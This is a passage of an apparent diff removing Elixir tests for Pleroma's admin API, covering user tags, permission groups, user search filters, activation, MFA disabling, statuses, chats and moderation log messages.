post("/api/pleroma/admin/users/unfollow", %{ - "follower" => follower.nickname, - "followed" => user.nickname - }) - - user = User.get_cached_by_id(user.id) - follower = User.get_cached_by_id(follower.id) - - refute User.following?(follower, user) - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} made @#{follower.nickname} unfollow @#{user.nickname}" - end - end - - describe "PUT /api/pleroma/admin/users/tag" do - setup %{conn: conn} do - user1 = insert(:user, %{tags: ["x"]}) - user2 = insert(:user, %{tags: ["y"]}) - user3 = insert(:user, %{tags: ["unchanged"]}) - - conn = - conn - |> put_req_header("accept", "application/json") - |> put( - "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=" <> - "#{user2.nickname}&tags[]=foo&tags[]=bar" - ) - - %{conn: conn, user1: user1, user2: user2, user3: user3} - end - - test "it appends specified tags to users with specified nicknames", %{ - conn: conn, - admin: admin, - user1: user1, - user2: user2 - } do - assert empty_json_response(conn) - assert User.get_cached_by_id(user1.id).tags == ["x", "foo", "bar"] - assert User.get_cached_by_id(user2.id).tags == ["y", "foo", "bar"] - - log_entry = Repo.one(ModerationLog) - - users = - [user1.nickname, user2.nickname] - |> Enum.map(&"@#{&1}") - |> Enum.join(", ") - - tags = ["foo", "bar"] |> Enum.join(", ") - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} added tags: #{tags} to users: #{users}" - end - - test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do - assert empty_json_response(conn) - assert User.get_cached_by_id(user3.id).tags == ["unchanged"] - end - end - - describe "DELETE /api/pleroma/admin/users/tag" do - setup %{conn: conn} do - user1 = insert(:user, %{tags: ["x"]}) - user2 = insert(:user, %{tags: ["y", "z"]}) - user3 = insert(:user, %{tags: ["unchanged"]}) - - conn = - conn - |> put_req_header("accept", "application/json") - |> delete( - "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=" <> - "#{user2.nickname}&tags[]=x&tags[]=z" - ) - - %{conn: conn, user1: user1, user2: user2, user3: user3} - end - - test "it removes specified tags from users with specified nicknames", %{ - conn: conn, - admin: admin, - user1: user1, - user2: user2 - } do - assert empty_json_response(conn) - assert User.get_cached_by_id(user1.id).tags == [] - assert User.get_cached_by_id(user2.id).tags == ["y"] - - log_entry = Repo.one(ModerationLog) - - users = - [user1.nickname, user2.nickname] - |> Enum.map(&"@#{&1}") - |> Enum.join(", ") - - tags = ["x", "z"] |> Enum.join(", ") - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} removed tags: #{tags} from users: #{users}" - end - - test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do - assert empty_json_response(conn) - assert User.get_cached_by_id(user3.id).tags == ["unchanged"] - end - end - - describe "/api/pleroma/admin/users/:nickname/permission_group" do - test "GET is giving user_info", %{admin: admin, conn: conn} do - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/api/pleroma/admin/users/#{admin.nickname}/permission_group/") - - assert json_response(conn, 200) == %{ - "is_admin" => true, - "is_moderator" => false - } - end - - test "/:right POST, can add to a permission group", %{admin: admin, conn: conn} do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin") - - assert json_response(conn, 200) == %{ - "is_admin" => true - } - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} made @#{user.nickname} admin" - end - - test "/:right POST, can add to a permission group (multiple)", %{admin: admin, conn: conn} do - user_one = insert(:user) - user_two = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> post("/api/pleroma/admin/users/permission_group/admin", %{ - nicknames: [user_one.nickname, user_two.nickname] - }) - - assert json_response(conn, 200) == %{"is_admin" => true} - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} made @#{user_one.nickname}, @#{user_two.nickname} admin" - end - - test "/:right DELETE, can remove from a permission group", %{admin: admin, conn: conn} do - user = insert(:user, is_admin: true) - - conn = - conn - |> put_req_header("accept", "application/json") - |> delete("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin") - - assert json_response(conn, 200) == %{"is_admin" => false} - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} revoked admin role from @#{user.nickname}" - end - - test "/:right DELETE, can remove from a permission group (multiple)", %{ - admin: admin, - conn: conn - } do - user_one = insert(:user, is_admin: true) - user_two = insert(:user, is_admin: true) - - conn = - conn - |> put_req_header("accept", "application/json") - |> delete("/api/pleroma/admin/users/permission_group/admin", %{ - nicknames: [user_one.nickname, user_two.nickname] - }) - - assert json_response(conn, 200) == %{"is_admin" => false} - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} revoked admin role from @#{user_one.nickname}, @#{ - user_two.nickname - }" - end - end - - test "/api/pleroma/admin/users/:nickname/password_reset", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> put_req_header("accept", "application/json") - |> get("/api/pleroma/admin/users/#{user.nickname}/password_reset") - - resp = json_response(conn, 200) - - assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"]) - end - - describe "GET /api/pleroma/admin/users" do - test "renders users array for the first page", %{conn: conn, admin: admin} do - user = insert(:user, local: false, tags: ["foo", "bar"]) - user2 = insert(:user, approval_pending: true, registration_reason: "I'm a chill dude") - - conn = get(conn, "/api/pleroma/admin/users?page=1") - - users = - [ - %{ - "deactivated" => admin.deactivated, - "id" => admin.id, - "nickname" => admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(admin.name || admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => false, - "tags" => ["foo", "bar"], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => user2.deactivated, - "id" => user2.id, - "nickname" => user2.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user2) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user2.name || user2.nickname), - "confirmation_pending" => false, - "approval_pending" => true, - "url" => user2.ap_id, - "registration_reason" => "I'm a chill dude", - "actor_type" => "Person" - } - ] - |> Enum.sort_by(& &1["nickname"]) - - assert json_response(conn, 200) == %{ - "count" => 3, - "page_size" => 50, - "users" => users - } - end - - test "pagination works correctly with service users", %{conn: conn} do - service1 = User.get_or_create_service_actor_by_ap_id(Web.base_url() <> "/meido", "meido") - - insert_list(25, :user) - - assert %{"count" => 26, "page_size" => 10, "users" => users1} = - conn - |> get("/api/pleroma/admin/users?page=1&filters=", %{page_size: "10"}) - |> json_response(200) - - assert Enum.count(users1) == 10 - assert service1 not in users1 - - assert %{"count" => 26, "page_size" => 10, "users" => users2} = - conn - |> get("/api/pleroma/admin/users?page=2&filters=", %{page_size: "10"}) - |> json_response(200) - - assert Enum.count(users2) == 10 - assert service1 not in users2 - - assert %{"count" => 26, "page_size" => 10, "users" => users3} = - conn - |> get("/api/pleroma/admin/users?page=3&filters=", %{page_size: "10"}) - |> json_response(200) - - assert Enum.count(users3) == 6 - assert service1 not in users3 - end - - test "renders empty array for the second page", %{conn: conn} do - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?page=2") - - assert json_response(conn, 200) == %{ - "count" => 2, - "page_size" => 50, - "users" => [] - } - end - - test "regular search", %{conn: conn} do - user = insert(:user, nickname: "bob") - - conn = get(conn, "/api/pleroma/admin/users?query=bo") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "search by domain", %{conn: conn} do - user = insert(:user, nickname: "nickname@domain.com") - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?query=domain.com") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "search by full nickname", %{conn: conn} do - user = insert(:user, nickname: "nickname@domain.com") - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?query=nickname@domain.com") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "search by display name", %{conn: conn} do - user = insert(:user, name: "Display name") - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?name=display") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "search by email", %{conn: conn} do - user = insert(:user, email: "email@example.com") - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?email=email@example.com") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "regular search with page size", %{conn: conn} do - user = insert(:user, nickname: "aalice") - user2 = insert(:user, nickname: "alice") - - conn1 = get(conn, "/api/pleroma/admin/users?query=a&page_size=1&page=1") - - assert json_response(conn1, 200) == %{ - "count" => 2, - "page_size" => 1, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - - conn2 = get(conn, "/api/pleroma/admin/users?query=a&page_size=1&page=2") - - assert json_response(conn2, 200) == %{ - "count" => 2, - "page_size" => 1, - "users" => [ - %{ - "deactivated" => user2.deactivated, - "id" => user2.id, - "nickname" => user2.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user2) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user2.name || user2.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user2.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "only local users" do - admin = insert(:user, is_admin: true, nickname: "john") - token = insert(:oauth_admin_token, user: admin) - user = insert(:user, nickname: "bob") - - insert(:user, nickname: "bobb", local: false) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - |> get("/api/pleroma/admin/users?query=bo&filters=local") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "only local users with no query", %{conn: conn, admin: old_admin} do - admin = insert(:user, is_admin: true, nickname: "john") - user = insert(:user, nickname: "bob") - - insert(:user, nickname: "bobb", local: false) - - conn = get(conn, "/api/pleroma/admin/users?filters=local") - - users = - [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => admin.deactivated, - "id" => admin.id, - "nickname" => admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(admin.name || admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => false, - "id" => old_admin.id, - "local" => true, - "nickname" => old_admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "tags" => [], - "avatar" => User.avatar_url(old_admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(old_admin.name || old_admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => old_admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - |> Enum.sort_by(& &1["nickname"]) - - assert json_response(conn, 200) == %{ - "count" => 3, - "page_size" => 50, - "users" => users - } - end - - test "only unapproved users", %{conn: conn} do - user = - insert(:user, - nickname: "sadboy", - approval_pending: true, - registration_reason: "Plz let me in!" - ) - - insert(:user, nickname: "happyboy", approval_pending: false) - - conn = get(conn, "/api/pleroma/admin/users?filters=need_approval") - - users = - [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => true, - "url" => user.ap_id, - "registration_reason" => "Plz let me in!", - "actor_type" => "Person" - } - ] - |> Enum.sort_by(& &1["nickname"]) - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => users - } - end - - test "load only admins", %{conn: conn, admin: admin} do - second_admin = insert(:user, is_admin: true) - insert(:user) - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?filters=is_admin") - - users = - [ - %{ - "deactivated" => false, - "id" => admin.id, - "nickname" => admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "local" => admin.local, - "tags" => [], - "avatar" => User.avatar_url(admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(admin.name || admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => false, - "id" => second_admin.id, - "nickname" => second_admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "local" => second_admin.local, - "tags" => [], - "avatar" => User.avatar_url(second_admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(second_admin.name || second_admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => second_admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - |> Enum.sort_by(& &1["nickname"]) - - assert json_response(conn, 200) == %{ - "count" => 2, - "page_size" => 50, - "users" => users - } - end - - test "load only moderators", %{conn: conn} do - moderator = insert(:user, is_moderator: true) - insert(:user) - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?filters=is_moderator") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => false, - "id" => moderator.id, - "nickname" => moderator.nickname, - "roles" => %{"admin" => false, "moderator" => true}, - "local" => moderator.local, - "tags" => [], - "avatar" => User.avatar_url(moderator) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(moderator.name || moderator.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => moderator.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "load users with tags list", %{conn: conn} do - user1 = insert(:user, tags: ["first"]) - user2 = insert(:user, tags: ["second"]) - insert(:user) - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?tags[]=first&tags[]=second") - - users = - [ - %{ - "deactivated" => false, - "id" => user1.id, - "nickname" => user1.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => user1.local, - "tags" => ["first"], - "avatar" => User.avatar_url(user1) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user1.name || user1.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user1.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => false, - "id" => user2.id, - "nickname" => user2.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => user2.local, - "tags" => ["second"], - "avatar" => User.avatar_url(user2) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user2.name || user2.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user2.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - |> Enum.sort_by(& &1["nickname"]) - - assert json_response(conn, 200) == %{ - "count" => 2, - "page_size" => 50, - "users" => users - } - end - - test "`active` filters out users pending approval", %{token: token} do - insert(:user, approval_pending: true) - %{id: user_id} = insert(:user, approval_pending: false) - %{id: admin_id} = token.user - - conn = - build_conn() - |> assign(:user, token.user) - |> assign(:token, token) - |> get("/api/pleroma/admin/users?filters=active") - - assert %{ - "count" => 2, - "page_size" => 50, - "users" => [ - %{"id" => ^admin_id}, - %{"id" => ^user_id} - ] - } = json_response(conn, 200) - end - - test "it works with multiple filters" do - admin = insert(:user, nickname: "john", is_admin: true) - token = insert(:oauth_admin_token, user: admin) - user = insert(:user, nickname: "bob", local: false, deactivated: true) - - insert(:user, nickname: "ken", local: true, deactivated: true) - insert(:user, nickname: "bobb", local: false, deactivated: false) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - |> get("/api/pleroma/admin/users?filters=deactivated,external") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => user.local, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "it omits relay user", %{admin: admin, conn: conn} do - assert %User{} = Relay.get_actor() - - conn = get(conn, "/api/pleroma/admin/users") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => admin.deactivated, - "id" => admin.id, - "nickname" => admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(admin.name || admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - end - - test "PATCH /api/pleroma/admin/users/activate", %{admin: admin, conn: conn} do - user_one = insert(:user, deactivated: true) - user_two = insert(:user, deactivated: true) - - conn = - patch( - conn, - "/api/pleroma/admin/users/activate", - %{nicknames: [user_one.nickname, user_two.nickname]} - ) - - response = json_response(conn, 200) - assert Enum.map(response["users"], & &1["deactivated"]) == [false, false] - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} activated users: @#{user_one.nickname}, @#{user_two.nickname}" - end - - test "PATCH /api/pleroma/admin/users/deactivate", %{admin: admin, conn: conn} do - user_one = insert(:user, deactivated: false) - user_two = insert(:user, deactivated: false) - - conn = - patch( - conn, - "/api/pleroma/admin/users/deactivate", - %{nicknames: [user_one.nickname, user_two.nickname]} - ) - - response = json_response(conn, 200) - assert Enum.map(response["users"], & &1["deactivated"]) == [true, true] - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deactivated users: @#{user_one.nickname}, @#{user_two.nickname}" - end - - test "PATCH /api/pleroma/admin/users/approve", %{admin: admin, conn: conn} do - user_one = insert(:user, approval_pending: true) - user_two = insert(:user, approval_pending: true) - - conn = - patch( - conn, - "/api/pleroma/admin/users/approve", - %{nicknames: [user_one.nickname, user_two.nickname]} - ) - - response = json_response(conn, 200) - assert Enum.map(response["users"], & &1["approval_pending"]) == [false, false] - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} approved users: @#{user_one.nickname}, @#{user_two.nickname}" - end - - test "PATCH /api/pleroma/admin/users/:nickname/toggle_activation", %{admin: admin, conn: conn} do - user = insert(:user) - - conn = patch(conn, "/api/pleroma/admin/users/#{user.nickname}/toggle_activation") - - assert json_response(conn, 200) == - %{ - "deactivated" => !user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deactivated users: @#{user.nickname}" - end - - describe "PUT disable_mfa" do - test "returns 200 and disable 2fa", %{conn: conn} do - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: "otp_secret", confirmed: true} - } - ) - - response = - conn - |> put("/api/pleroma/admin/users/disable_mfa", %{nickname: user.nickname}) - |> json_response(200) - - assert response == user.nickname - mfa_settings = refresh_record(user).multi_factor_authentication_settings - - refute mfa_settings.enabled - refute mfa_settings.totp.confirmed - end - - test "returns 404 if user not found", %{conn: conn} do - response = - conn - |> put("/api/pleroma/admin/users/disable_mfa", %{nickname: "nickname"}) - |> json_response(404) - - assert response == %{"error" => "Not found"} - end - end - - describe "GET /api/pleroma/admin/restart" do - setup do: clear_config(:configurable_from_database, true) - - test "pleroma restarts", %{conn: conn} do - capture_log(fn -> - assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == %{} - end) =~ "pleroma restarted" - - refute Restarter.Pleroma.need_reboot?() - end - end - - test "need_reboot flag", %{conn: conn} do - assert conn - |> get("/api/pleroma/admin/need_reboot") - |> json_response(200) == %{"need_reboot" => false} - - Restarter.Pleroma.need_reboot() - - assert conn - |> get("/api/pleroma/admin/need_reboot") - |> json_response(200) == %{"need_reboot" => true} - - on_exit(fn -> Restarter.Pleroma.refresh() end) - end - - describe "GET /api/pleroma/admin/users/:nickname/statuses" do - setup do - user = insert(:user) - - date1 = (DateTime.to_unix(DateTime.utc_now()) + 2000) |> DateTime.from_unix!() - date2 = (DateTime.to_unix(DateTime.utc_now()) + 1000) |> DateTime.from_unix!() - date3 = (DateTime.to_unix(DateTime.utc_now()) + 3000) |> DateTime.from_unix!() - - insert(:note_activity, user: user, published: date1) - insert(:note_activity, user: user, published: date2) - insert(:note_activity, user: user, published: date3) - - %{user: user} - end - - test "renders user's statuses", %{conn: conn, user: user} do - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses") - - assert json_response(conn, 200) |> length() == 3 - end - - test "renders user's statuses with a limit", %{conn: conn, user: user} do - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses?page_size=2") - - assert json_response(conn, 200) |> length() == 2 - end - - test "doesn't return private statuses by default", %{conn: conn, user: user} do - {:ok, _private_status} = CommonAPI.post(user, %{status: "private", visibility: "private"}) - - {:ok, _public_status} = CommonAPI.post(user, %{status: "public", visibility: "public"}) - - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses") - - assert json_response(conn, 200) |> length() == 4 - end - - test "returns private statuses with godmode on", %{conn: conn, user: user} do - {:ok, _private_status} = CommonAPI.post(user, %{status: "private", visibility: "private"}) - - {:ok, _public_status} = CommonAPI.post(user, %{status: "public", visibility: "public"}) - - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses?godmode=true") - - assert json_response(conn, 200) |> length() == 5 - end - - test "excludes reblogs by default", %{conn: conn, user: user} do - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "."}) - {:ok, %Activity{}} = CommonAPI.repeat(activity.id, other_user) - - conn_res = get(conn, "/api/pleroma/admin/users/#{other_user.nickname}/statuses") - assert json_response(conn_res, 200) |> length() == 0 - - conn_res = - get(conn, "/api/pleroma/admin/users/#{other_user.nickname}/statuses?with_reblogs=true") - - assert json_response(conn_res, 200) |> length() == 1 - end - end - - describe "GET /api/pleroma/admin/users/:nickname/chats" do - setup do - user = insert(:user) - recipients = insert_list(3, :user) - - Enum.each(recipients, fn recipient -> - CommonAPI.post_chat_message(user, recipient, "yo") - end) - - %{user: user} - end - - test "renders user's chats", %{conn: conn, user: user} do - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/chats") - - assert json_response(conn, 200) |> length() == 3 - end - end - - describe "GET /api/pleroma/admin/users/:nickname/chats unauthorized" do - setup do - user = insert(:user) - recipient = insert(:user) - CommonAPI.post_chat_message(user, recipient, "yo") - %{conn: conn} = oauth_access(["read:chats"]) - %{conn: conn, user: user} - end - - test "returns 403", %{conn: conn, user: user} do - conn - |> get("/api/pleroma/admin/users/#{user.nickname}/chats") - |> json_response(403) - end - end - - describe "GET /api/pleroma/admin/users/:nickname/chats unauthenticated" do - setup do - user = insert(:user) - recipient = insert(:user) - CommonAPI.post_chat_message(user, recipient, "yo") - %{conn: build_conn(), user: user} - end - - test "returns 403", %{conn: conn, user: user} do - conn - |> get("/api/pleroma/admin/users/#{user.nickname}/chats") - |> json_response(403) - end - end - - describe "GET /api/pleroma/admin/moderation_log" do - setup do - moderator = insert(:user, is_moderator: true) - - %{moderator: moderator} - end - - test "returns the log", %{conn: conn, admin: admin} do - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_follow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second) - }) - - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_unfollow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second) - }) - - conn = get(conn, "/api/pleroma/admin/moderation_log") - - response = json_response(conn, 200) - [first_entry, second_entry] = response["items"] - - assert response["total"] == 2 - assert first_entry["data"]["action"] == "relay_unfollow" - - assert first_entry["message"] == - "@#{admin.nickname} unfollowed relay: https://example.org/relay" - - assert second_entry["data"]["action"] == "relay_follow" - - assert second_entry["message"] == - "@#{admin.nickname} followed relay: https://example.org/relay" - end - - test "returns the log with pagination", %{conn: conn, admin: admin} do - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_follow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second) - }) - - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_unfollow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second) - }) - - conn1 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=1") - - response1 = json_response(conn1, 200) - [first_entry] = response1["items"] - - assert response1["total"] == 2 - assert response1["items"] |> length() == 1 - assert first_entry["data"]["action"] == "relay_unfollow" - - assert first_entry["message"] == - "@#{admin.nickname} unfollowed relay: https://example.org/relay" - - conn2 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=2") - - response2 = json_response(conn2, 200) - [second_entry] = response2["items"] - - assert response2["total"] == 2 - assert response2["items"] |> length() == 1 - assert 